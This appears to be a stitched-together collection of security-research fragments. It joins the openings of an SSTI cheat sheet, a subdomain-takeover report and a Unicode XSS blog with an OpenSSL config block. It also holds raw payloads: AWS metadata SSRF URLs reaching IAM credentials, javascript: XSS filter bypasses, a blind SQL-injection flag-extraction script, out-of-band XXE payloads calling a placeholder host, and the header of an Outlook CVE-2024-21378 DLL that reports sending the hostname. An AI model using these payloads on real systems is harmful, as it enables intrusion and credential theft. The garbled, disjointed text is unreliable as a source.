GH0ST_3exP10it 0xSojalSec

What is this cheat sheet ?

I recently stumbled on a blind SSTI injection on a bug bounty program (no output nor stack trace, only 500 status code on invalid syntax)

The version was up to date and it was not possible to RCE because the conf was following best practices and there is no public sandbox bypass on the latest version. So was it possible to do stuff anyway ? Yes I found some nice gadgets to enumerate all accessible variables from the engine, read data blindly or perform some DoS.

This is not meant to be complete, you will find classic payloads for freemarker on other cheat sheets this is only the new stuff from my research which is not public anywhere else

get versions

Dangling DNS Records on api.techprep.fb.com - $500!

Read proper write-up here: https://publish.whoisbinit.me/subdomain-takeover-on-api-techprep-fb-com-through-aws-elastic-beanstalk

I have included my script in another file (main.sh), which I used in discovering this vulnerability.

I didn't do any form of manual work in finding this vulnerability, and my workflow was fully automated with Bash scripting.

I have shortened my actual script, and only included the part which helped me in finding this vulnerability in the main.sh file.

The Top Hacker Methodologies & Tools Notes

By Chase. ** *

Nuclei Templates

Concrete5 CMS : Identification, Mass Hunting, Nuclei Template Writing & Reporting

My Methodology

Unicode XSS via Combining Characters

Most application security practitioners are familiar with Unicode XSS, which typically arises from the Unicode character fullwidth-less-than-sign. It’s not a common vulnerability but does occasionally appear in applications that otherwise have good XSS protection. In this blog I describe another variant of Unicode XSS that I have identified, using combining characters. I’ve not observed this in the wild, so it’s primarily of theoretical concern. But the scenario is not entirely implausible and I’ve not otherwise seen this technique discussed, so I hope this is useful.

Recap of Unicode XSS

Lab: https://4t64ubva.xssy.uk/

A quick investigation of the lab shows that it is echoing the name parameter, and performing HTML escaping:

	[ req ]
	distinguished_name = req_distinguished_name
	x509_extensions = v3_intermediate_ca
	prompt = no

	[ req_distinguished_name ]
	C = US
	ST = Snooltopia
	L = Snoolcity
	O = Snoolie Inc

	## AWS
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname
	http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

	<!--javascript -->
	ja&Tab;vascript:alert(1)
	ja&NewLine;vascript:alert(1)
	ja vascript:alert(1)
	javascript:alert()

	<!--::colon:: -->
	javascript&colon;alert()
	javascript:alert()
	javascript:alert(1)

	const fetch = require('node-fetch');

	var flag = 'nn9ed{'
	var alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!().{}'
	var escape = d => d.replace(/\\/g, '\\\\').replace(/\./g, '\\.').replace(/\(/g, '\\(').replace(/\)/g, '\\)').replace(/\{/g, '\\{').replace(/\}/g, '\\}');
	var make_payload = (i, o) => `Season 6%' AND 1=IF(ORD(SUBSTR(flag,${i},1))=${o},1,EXP(44444)) #` // throws an exception if the character of flag is incorrect
	const base_url = 'http://x-oracle-v2.nn9ed.ka0labs.org/'

	// Generates definitions for fonts
	function generateFonts() {

	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

	/**
	* This DLL is designed for use in conjunction with the Ruler tool for
	* security testing related to the CVE-2024-21378 vulnerability,
	* specifically targeting MS Outlook.
	*
	* It can be used with the following command line syntax:
	* ruler [auth-params] form add-com [attack-params] --dll ./test.dll
	* Ruler repository: https://github.com/NetSPI/ruler/tree/com-forms (com-forms branch).
	*
	* After being loaded into MS Outlook, it sends the PC's hostname and